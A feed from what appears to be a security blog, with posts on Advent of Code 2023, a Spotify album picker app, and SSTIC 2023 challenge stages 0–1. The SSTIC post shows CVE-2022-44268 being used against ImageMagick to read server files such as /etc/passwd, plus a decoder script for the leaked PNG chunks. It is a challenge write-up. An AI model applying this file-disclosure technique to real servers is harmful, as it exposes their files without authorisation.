maggick's logshttps://maggick.fr/2024-01-02T18:00:00+01:00Offensive security talesAdvent of Code 20232024-01-02T18:00:00+01:002024-01-02T18:00:00+01:00maggicktag:maggick.fr,2024-01-02:/2024/01/advent-of-code-2023.html<p><img alt="Advent of code map" class="align-left" src="/media/2023.12/adventofcode_05.png" width="262"/></p>
<p>I participated in the first few days of <a href="https://adventofcode.com/2023">advent of code 2023</a>. Here
are my though. Solutions are available on <a href="https://github.com/maggick/adventofcode/tree/main/2023">GitHub</a>.</p>
<p><img alt="Advent of code map" class="align-left" src="/media/2023.12/adventofcode_05.png" width="262"/></p>
<p>I participated in the first few days of <a href="https://adventofcode.com/2023">advent of code 2023</a>. Here
are my though. Solutions are available on <a href="https://github.com/maggick/adventofcode/tree/main/2023">GitHub</a>.</p>
<h1>Day 1</h1>
<p>Trebuchet!</p>
<h2>Part 1</h2>
<p>Simply using <code>re.findall(r'\d',line)</code> on each line allowed to retrieve the flag for this challenge.</p>
<h2>Part 2</h2>
<p>I was stuck longer on this part. My first idea was to add the literal digits to the regex.
I also added a dictionary to convert the literal digit to an integer.</p>
<p>It seemed to work, it worked on the test sample, but the result was wrong.
Looking on the <a href="https://www.reddit.com/r/adventofcode/">adventofcode reddit</a> someone posted that
<a href="https://www.reddit.com/r/adventofcode/comments/188qeer/comment/kc83orc/?context=3"><code>oneight</code> should be <code>18</code></a>. It tilted, my regex was not allowing for overlaps.
I just switch to <a href="# https://pypi.python.org/pypi/regex/"><code>regex</code></a> instead of <code>re</code> and allowed for
overlaps to get the flag.</p>
<h1>Day 2</h1>
<p>Overall Day 2 was quit easy and calm.</p>
<h2>Part 1</h2>
<p>The first part for day2 was pretty easy, I just verified that each "grab" was respecting the constraints.</p>
<h2>Part 2</h2>
<p>This time we update the previous constraints dictionary if the number from the grab is higher than the
previous constraints value.</p>
<h1>Day 3</h1>
<h2>Part 1</h2>
<p>What is a number?!</p>
<p>For the first part I parsed the map and for each number checked if there was a symbol in the line
above or below with a range of +/-1. I also check for symbol before or after the number. Quit easy
but required to load the whole schema in memory.</p>
<h2>Part 2</h2>
<p>What is a gear?!</p>
<p>We do more or less the same as in the first part, we find each start and look if there is number
adjacent to it and if there is exactly two we compute the product of them.</p>
<h1>Day 4</h1>
<h2>Part 1</h2>
<p>The first part is easy, I divided each line and checked how much numbers were in the wining list
and then compute the score. Nothing particular here.</p>
<h2>Part 2</h2>
<p>The second part more tricky, and I was probably tired as I did day 1 to 5 in the same day.
I did a first round on each card and determined its score.</p>
<p>Then I did another pass on each card with two more loops to "recursively" compute the number of cards.</p>
<h1>Day 5</h1>
<p>The challenge required me to read it several times before understanding it. We need to follow a map
to know were which seed will be planted.</p>
<h2>Part 1</h2>
<p>In part one there was not so much seed, so we could easily compute all the seeds and find the closest one.</p>
<h2>Part 2</h2>
<p>In the second part we had way more seeds and bruteforcing the result took some time. The only change
to the code was the way to retrieve the initial seeds (see <code>751be211ed584c73ea79a29bc6ad699468b9d26d</code>).
And that failed:</p>
<div class="highlight"><pre><span></span><code>python day_05_02.py
fish: Job 1, 'python day_05_02.py' terminated by signal SIGKILL (Forced quit)
</code></pre></div>
<p>So I rewrote the seed "generation" to verify if a seed is already in my table (see <code>1495fa869bec721cdefeaaf7678f8c4fa362dfac</code>).
This script ran for more than 9 hours without any success and I had to kill it.</p>
<h1>Day 6</h1>
<p>The code is the same for both part today.</p>
<p>Back to school!
We wanted to solve a movement equation:</p>
<div class="math">$$a = 1$$</div>
<div class="math">$$s = at = t$$</div>
<div class="math">$$d = s(T-t) = t(T-t) = Tt-t^2$$</div>
<p>Where:</p>
<ul>
<li><span class="math">\(a\)</span> is the acceleration of 1 millimeter per square second.</li>
<li><span class="math">\(v\)</span> is the speed, which is here equal to the time we press the button <span class="math">\(t\)</span>.</li>
<li><span class="math">\(d\)</span> is the distance we move which is equal to the speed multiplied by the time we travel. Here the speed is the time we press the button <span class="math">\(t\)</span> and the time we travel is the total time <span class="math">\(T\)</span> minus the time we press the button <span class="math">\(t\)</span>.</li>
</ul>
<p>Therefor, we needed to solve <span class="math">\(Tt-t^2 > D\)</span> where <span class="math">\(T\)</span> is the total time and <span class="math">\(D\)</span> the record distance.</p>
<p>This was a second degree equation <span class="math">\(-t^2 + Tt - D = 0\)</span> where <span class="math">\(t\)</span> is the variable.</p>
<p>A quick math reminder:</p>
<blockquote>
<p>When <span class="math">\(a \ne 0\)</span>, there are two solutions to <span class="math">\((ax^2 + bx + c = 0)\)</span> and they are
<div class="math">$$ x = {-b \pm \sqrt{b^2-4ac} \over 2a} $$</div>
</p>
</blockquote>
<p>Applied here we got the following solutions:</p>
<blockquote>
<p>
<div class="math">$$ x = {-T \pm \sqrt{T^2-4D} \over -2} $$</div>
</p>
</blockquote>
<p>As we could only press the button for an integer number of second we used the <code>math.floor</code> and <code>math.ceil</code>
to get integer value.</p>
<p>Another pitfall was when the solutions were integers. It means that pressing the button for the solutions
time would result in equalling the record and not beat it.</p>
<p>Just computing the difference between the two solution (floored, or ceiled) would give us the result.</p>
<h1>Day 7</h1>
<h2>Part 1</h2>
<p>I made this problem far more complicated than it should. But I was able to get it in the end.</p>
<p>We have a table that match each "hand" to a "bid" and then we create a new tab that will match each
hand to a score.
Then we create a new table. We iterate over each hand and see where it should be put in the newest
table. For that we parse the second table and see if our current hand is weaker than each one in
the newest table. If it is we insert our hand there.</p>
<h2>Part 2</h2>
<p>For this part we changed the score attribution function and the card order. There were a few edge cases
to take into account.</p>
<h1>Day 8</h1>
<h2>Part 1</h2>
<p>Quit easy, I used a map (a python dictionary) to "map" the path and each instruction get us to a
new location. Pretty straightforward.</p>
<h2>Part 2</h2>
<p>I did a first version that tried to get all of them to finished at the same time. While it was
computing I took a tour of the <a href="https://www.reddit.com/r/adventofcode/">reddit</a> and saw that it would
take way too long and that using the <a href="https://en.wikipedia.org/wiki/Least_common_multiple">LCM</a>
was the way to go. So I simply merge the code of the part 1 and part 2 to make a hybrid one <code>day_08_03.py</code>
that will solve each start separately and then use <code>math.lcm</code> to compute the answer.</p>
<h1>Day 9</h1>
<h2>Part 1</h2>
<p>I did this one on Monday 11 and this was pretty standard and easy. Brace for part 2!</p>
<h2>Part 2</h2>
<p>Okay no, this was pretty easy.</p>
<h1>Day 10</h1>
<h2>Part 1</h2>
<p>A maze!
We need to find the longer path. For that we need to explore all direction (north, east, west, south)
and follow the loop until we get back to start. We know that only for characters change our direction
("J", "F", "L" and "7") so until we got on one of them we continue in the direction we are going.
Otherwise, we use a <code>match/case</code> statement to ensure we go in the right direction and count our
number of step.</p>
<h2>Part 2</h2>
<p>Nope, nope nope.</p>
<script type="text/javascript">if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
var configscript = document.createElement('script');
configscript.type = 'text/x-mathjax-config';
configscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'none' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" availableFonts: ['STIX', 'TeX']," +
" preferredFont: 'STIX'," +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(configscript);
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Spotify Random Album Selector2023-11-17T19:00:00+01:002023-11-17T19:00:00+01:00maggicktag:maggick.fr,2023-11-17:/2023/11/spotify-random-album-selector.html<p><img alt="Spotify_RAS user interface" class="align-left" src="/media/2023.11/spotify_ras.png" width="262"/></p>
<p><em>tl;dr:</em> go to <a href="https://maggick.fr/Spotify_RAS/">Spotify_RAS</a>. A tool that choose Spotify albums from
your saved ones and add them to your playing queue.</p>
<p>I listen to music all day. Mostly Video game music and I have been collecting albums for years.
As a result I have around 400 albums saved in Spotify (and still growing), so every morning choosing
my soundtrack of the day was a complex task and I end up listening a lot to the same albums.</p>
<p><img alt="Spotify_RAS user interface" class="align-left" src="/media/2023.11/spotify_ras.png" width="262"/></p>
<p><em>tl;dr:</em> go to <a href="https://maggick.fr/Spotify_RAS/">Spotify_RAS</a>. A tool that choose Spotify albums from
your saved ones and add them to your playing queue.</p>
<p>I listen to music all day. Mostly Video game music and I have been collecting albums for years.
As a result I have around 400 albums saved in Spotify (and still growing), so every morning choosing
my soundtrack of the day was a complex task and I end up listening a lot to the same albums.</p>
<p>For a time I used <a href="https://www.nativenoise.co.za/spotify/album-selector/">Paul's Random Album Selector</a>.</p>
<p><img alt="Paul's UI" src="/media/2023.11/spotify_ras_paul.png"/></p>
<p>Once Paul's application had selected the albums and put them in a random order it was still necessary
to manually add them to the playing queue by opening them one by one in the Spotify web app.
It was tedious and, as the Spotify web UI is not the most responsive, it still took me minutes per
day to set up my day's soundtrack.</p>
<p><img alt="Paul's UI" src="/media/2023.11/spotify_ras_paul_2.png"/></p>
<p>So I decided to develop my own Random Album Selector (<em>writing this I feel like I should change the name :/</em>).
The goal was to reduce as much as possible the user interactions with the application. So it had to:</p>
<ul>
<li>automatically select the albums</li>
<li>add them to the playing queue without user interaction</li>
<li>it would be nice if it was also possible to select tracks for the user's favorites tracks (this friend request).</li>
</ul>
<p><img alt="Graph describing how the app works" src="/media/2023.11/spotify_ras_graph.png"/></p>
<p>As the application is still in <a href="https://developer.spotify.com/documentation/web-api/concepts/quota-modes">"development"</a>
mode I need to manually add each user to the application (Spotify username and email).
If you want to use it I will need to add your information to the users' whitelist.</p>
<h2>Technical details</h2>
<p>I used <a href="https://vuejs.org/">Vue.js</a> for the application core and <a href="https://tailwindcss.com/docs/installation">tailwindcss</a>
and <a href="https://daisyui.com/">daisyUI</a> for the user interface.</p>
<p>The application is running client side only limiting the exposition of personal data.
In addition, I limited the usage of Spotify permissions to the strict minimum:
* the <a href="https://developer.spotify.com/documentation/web-api/concepts/scopes#user-library-read">user-library-read</a> to read the user's library and pick its saved albums or tracks
* the <a href="https://developer.spotify.com/documentation/web-api/concepts/scopes#user-modify-playback-state">user-modify-playback-state</a> to add tracks to the playlist</p>
<p>The page is hosted with <a href="https://pages.github.com/">GitHub pages</a> and the source code is available
on <a href="https://github.com/maggick/Spotify_RAS">GitHub</a>.</p>
<p><em>reference:</em> I published a reddit post on
<a href="https://www.reddit.com/r/truespotify/comments/16d4p81/spotify_random_album_selector/">/r/truespotify</a>
in September 2023.</p>Challenge SSTIC 2023 - stage 0 & 12023-05-25T10:00:00+02:002023-05-25T10:00:00+02:00maggicktag:maggick.fr,2023-05-25:/2023/05/challenge-sstic-2023-stage-0-1.html<p><img alt="A dog" class="align-left" src="/media/2023.05/sstic_nft.svg" width="262"/></p>
<p>As each year the French Security conference <a href="https://sstic.org">SSTIC</a> release a <a href="https://www.sstic.org/2023/challenge/">security
challenge</a> prior to the conference.</p>
<p>This year the challenge seemed "easier" than the previous year as the stage 1 got 135 validations
versus 86 validations in 2022.</p>
<p>This article will detail my solution for the step 0 and the step 1.</p>
<p><img alt="A dog" class="align-left" src="/media/2023.05/sstic_nft.svg" width="262"/></p>
<p>As each year the French Security conference <a href="https://sstic.org">SSTIC</a> release a <a href="https://www.sstic.org/2023/challenge/">security
challenge</a> prior to the conference.</p>
<p>This year the challenge seemed "easier" than the previous year as the stage 1 got 135 validations
versus 86 validations in 2022.</p>
<p>This article will detail my solution for the step 0 and the step 1.</p>
<blockquote>
<p>Salud deoc’h !</p>
<p>Votre nouvelle boulangerie Trois Pains Zéro a décidé d’innover afin d'éviter les files d’attente
et vous permettre de déguster notre recette phare : le fameux quatre-quarts.
À partir du 1er juillet 2023, il vous suffira d’acquérir un Jeton Non-Fongible (JNF)
de notre collection
<a href="https://testnets.opensea.io/assets/goerli/0x43F99c5517928be62935A1d7714408fae90d1896/1">sur OpenSea</a>,
et de le présenter en magasin pour recevoir votre précieux gâteau.</p>
<p>La page d’achat sera bientôt disponible pour tous nos clients et nous espérons vous voir bientôt
en magasin.</p>
<p>Délicieusement vôtre,</p>
<p>Votre boulangerie Trois Pains Zéro</p>
</blockquote>
<p>For non-French speaking people, the scenario was a bakery that will release a new product
requiring the possession of an NFT to buy it. The goal is to access to NFT buying page. Our only input is an
<a href="https://testnets.opensea.io/assets/goerli/0x43F99c5517928be62935A1d7714408fae90d1896/1">OpenSea link</a>.</p>
<h1>Stage 0</h1>
<p>We got to the NFT page on <a href="https://testnets.opensea.io/assets/goerli/0x43F99c5517928be62935A1d7714408fae90d1896/1">OpenSea</a>.
The NFT was available on testnet so, we might have been able to buy it. But looking at the event section we
realized that all the offers expired and there was no transaction.</p>
<h2>EXIF data</h2>
<p>I downloaded the SVG image to look for any comment in the SVG. We can see that the image is an embedded
base64 PNG. We decode it and look at the EXIF data. This look like a dead end.</p>
<div class="highlight"><pre><span></span><code>Profile Date Time : 2023:02:28 15:28:27
Profile File Signature : acsp
Primary Platform : Apple Computer Inc.
CMM Flags : Not Embedded, Independent
Device Manufacturer :
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Little CMS
Profile ID : 0
Profile Description : GIMP built-in sRGB
Profile Copyright : Public Domain
Media White Point : 0.9642 1 0.82491
Chromatic Adaptation : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168
Red Matrix Column : 0.43604 0.22249 0.01392
Blue Matrix Column : 0.14305 0.06061 0.71393
Green Matrix Column : 0.38512 0.7169 0.09706
Red Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Chromaticity Channels : 3
Chromaticity Colorant : Unknown
Chromaticity Channel 1 : 0.64 0.33002
Chromaticity Channel 2 : 0.3 0.60001
Chromaticity Channel 3 : 0.15001 0.06
Device Mfg Desc : GIMP
Device Model Desc : sRGB
XMP Toolkit : XMP Core 4.4.0-Exiv2
Document ID : gimp:docid:gimp:6c654e1c-660f-4a8d-8684-e7dcb888f405
Instance ID : xmp.iid:e3c835b5-b728-4065-90ae-b8701b2c0ee9
Original Document ID : xmp.did:69feb713-f517-4ae5-89df-8790fa24e448
Format : image/png
Api : 2.0
Platform : Linux
Time Stamp : 1677598603072742
Version : 2.10.30
Creator Tool : GIMP 2.10
History Action : saved
History Changed : /
History Instance ID : xmp.iid:dae6254d-2632-408f-bdce-210bbed3f9ef
History Software Agent : Gimp 2.10 (Linux)
History When : 2023:02:28 16:36:43+01:00
</code></pre></div>
<h2>Smart contract</h2>
<p>Following the <a href="https://goerli.etherscan.io/address/0x43f99c5517928be62935a1d7714408fae90d1896">OpenSea contract address</a>
and looking at the contract we found a base64 encoded <code>BASE_URI</code> parameter:</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span><span class="s">"name"</span><span class="p">:</span><span class="w"> </span><span class="s">"Trois Pains Zero"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"description"</span><span class="p">:</span><span class="w"> </span><span class="s">"Lobsterdog pastry chef."</span><span class="p">,</span>
<span class="w"> </span><span class="s">"image"</span><span class="p">:</span><span class="w"> </span><span class="s">"https://nft.quatre-qu.art/nft-library.php?id=12"</span><span class="p">,</span>
<span class="w"> </span><span class="s">"external_url"</span><span class="p">:</span><span class="w"> </span><span class="s">"https://nft.quatre-qu.art/nft-library.php?id=12"</span><span class="p">}</span>
</code></pre></div>
<p>We followed the <code>external_url</code> and at the website root we found an image with the flag for stage 0.</p>
<p><img alt="flag for stage 0" src="/media/2023.05/flag0.png"/></p>
<h1>Stage 1</h1>
<h2>Enumerating the NFT <code>id</code> and other content</h2>
<p>There were an NFT from the <code>id</code> parameter 1 (the flag) to 17, then there were placeholders until
<code>9223372036854775807</code> (I did not check all the IDs and supposed that there was nothing different from the
placeholder).</p>
<p>We could also enumerate the image by using their ID with the image folder such as
<code>https://nft.quatre-qu.art/images/4.png</code></p>
<p>We also found an ELF binary at the <code>core</code> location.</p>
<h2>Uploading new images - CVE-2022-44268</h2>
<p>Using the <code>id=0</code> we landed on a page that allowed us resize image.</p>
<blockquote>
<p>Create your own NFT gallery!
Before creating your gallery, your image needs to be of the right size. Use this service to resize it!</p>
</blockquote>
<p>Looking at the HTTP response from the web application we noticed the header
<code>X-Powered-By ImageMagick/7.1.0-51</code>. This version of ImageMagick was vulnerable to two CVE:</p>
<ol>
<li>CVE-2022-44267: Resource management error, The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.</li>
<li>CVE-2022-44268: Information disclosure, A remote attacker can pass a specially crafted image to the application and embed contents of other files on the system into the resulting image.</li>
</ol>
<p>The first vulnerability did not really interest us as this was a Deny of Service but the second one,
CVE-2022-44268 was a Local File Inclusion and could allow us to retrieve files from the web server.</p>
<p>We quickly found an exploit for it <a href="https://github.com/voidz0r/CVE-2022-44268">on GitHub</a>.</p>
<p>Using the exploit README we generated an image and retrieve the content of the <code>/etc/passwd</code> file.</p>
<div class="highlight"><pre><span></span><code>python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a"))'
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n'
</code></pre></div>
<p>We then retrieved the content of <code>var/www/html/index.php</code>:</p>
<p><img alt="resized image with index.php embedded" src="/media/2023.05/out_index_php.png"/></p>
<p>The output of <code>identify -verbose out_index_php.png</code> did not display the file content in a <code>raw
profile</code> field. Instead, we just got the information that the field is <code>Profile-php: 49 bytes</code>.</p>
<p>We will need to write a script in order to parse the PNG chunks and retrieve their data. A <a href="https://pyokagan.name/blog/2019-10-14-png/">blog post
from 2019 put us on the way</a>.</p>
<p>We ended up with a python script that would decompress if needed and decode <code>tExt</code> and <code>zTXt</code> chunks.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">zlib</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="nb">input</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span>
<span class="n">PngSignature</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x89</span><span class="s1">PNG</span><span class="se">\r\n\x1a\n</span><span class="s1">'</span>
<span class="k">if</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">PngSignature</span><span class="p">))</span> <span class="o">!=</span> <span class="n">PngSignature</span><span class="p">:</span>
<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s1">'Invalid PNG Signature'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">read_chunk</span><span class="p">(</span><span class="n">f</span><span class="p">):</span>
<span class="n">chunk_length</span><span class="p">,</span> <span class="n">chunk_type</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s1">'>I4s'</span><span class="p">,</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
<span class="n">chunk_data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">chunk_length</span><span class="p">)</span>
<span class="n">chunk_expected_crc</span><span class="p">,</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s1">'>I'</span><span class="p">,</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
<span class="n">chunk_actual_crc</span> <span class="o">=</span> <span class="n">zlib</span><span class="o">.</span><span class="n">crc32</span><span class="p">(</span><span class="n">chunk_data</span><span class="p">,</span> <span class="n">zlib</span><span class="o">.</span><span class="n">crc32</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s1">'>4s'</span><span class="p">,</span> <span class="n">chunk_type</span><span class="p">)))</span>
<span class="k">if</span> <span class="n">chunk_expected_crc</span> <span class="o">!=</span> <span class="n">chunk_actual_crc</span><span class="p">:</span>
<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s1">'chunk checksum failed'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">chunk_type</span><span class="p">,</span> <span class="n">chunk_data</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">chunk_type</span><span class="p">,</span> <span class="n">chunk_data</span> <span class="o">=</span> <span class="n">read_chunk</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">chunk_type</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'tEXt'</span> <span class="ow">or</span> <span class="sa">b</span><span class="s1">'zTXt'</span><span class="p">)</span> <span class="ow">and</span> <span class="n">chunk_data</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">20</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'Raw profile type php'</span><span class="p">:</span>
<span class="n">chunk_string</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">if</span> <span class="n">chunk_type</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'zTXt'</span><span class="p">:</span>
<span class="n">chunk_string</span> <span class="o">=</span> <span class="p">(</span><span class="n">zlib</span><span class="o">.</span><span class="n">decompress</span><span class="p">(</span><span class="n">chunk_data</span><span class="p">[</span><span class="mi">22</span><span class="p">:]))</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">chunk_string</span> <span class="o">=</span> <span class="n">chunk_data</span><span class="p">[</span><span class="mi">22</span><span class="p">:]</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">""</span><span class="o">.</span><span class="n">join</span><span class="p">((</span><span class="n">chunk_string</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">"utf-8"</span><span class="p">))</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">)[</span><span class="mi">2</span><span class="p">:])))</span>
<span class="k">if</span> <span class="n">chunk_type</span> <span class="o">==</span> <span class="sa">b</span><span class="s1">'IEND'</span><span class="p">:</span>
<span class="k">break</span>
</code></pre></div>
<p>Using the script with the image containing <code>index.php</code>, we were redirected to another file.</p>
<div class="highlight"><pre><span></span><code>python decoder.py out_index_php.png
<?php header("Location: /nft-library.php?id=1");
</code></code></pre></div>
<p>We retrieved the <code>nft-library.php</code> file.</p>
<p><img alt="resized image with nft-library.php embedded" src="/media/2023.05/out_nft-library_php.png"/></p>
<p>And we decoded it using our python script. This give us the step 1 flag as well as the path to two
archives available on the server.</p>
<div class="highlight"><pre><span></span><code><span class="x">python decoder.py out.png</span>
<span class="x">R%</span><span class="cp"><?php</span>
<span class="nb">header</span><span class="p">(</span><span class="s2">"X-Powered-By: ImageMagick/7.1.0-51"</span><span class="p">);</span>
<span class="c1">// SSTIC{8c44f9aa39f4f69d26b91ae2b49ed4d2d029c0999e691f3122a883b01ee19fae}</span>
<span class="c1">// Une sauvegarde de l'infrastructure est disponible dans les fichiers suivants</span>
<span class="c1">// /backup.tgz, /devices.tgz</span>
<span class="c1">//</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]))</span> <span class="p">{</span>
<span class="nv">$image_id</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span>
<span class="o"><</span><span class="nx">SNIP</span><span class="o">></span>
</span></code></pre></div>
<h1>Highway to stage 2.x</h1>
<p>We retrieved the two images from the server using the CVE-2022-44268:</p>
<p>backup.tar.gz:
<img alt="resized image with backup.tar.gz embedded" src="/media/2023.05/out_backup_tgz.png"/></p>
<p>devices.tar.gz:
<img alt="resized image with devices.tar.gz embedded" src="/media/2023.05/out_devices_tgz.png"/></p>
<p>Using the previous python script resulted as an error <code>UnicodeDecodeError: 'utf-8' codec can't
decode byte 0x8b in position 4</code></p>
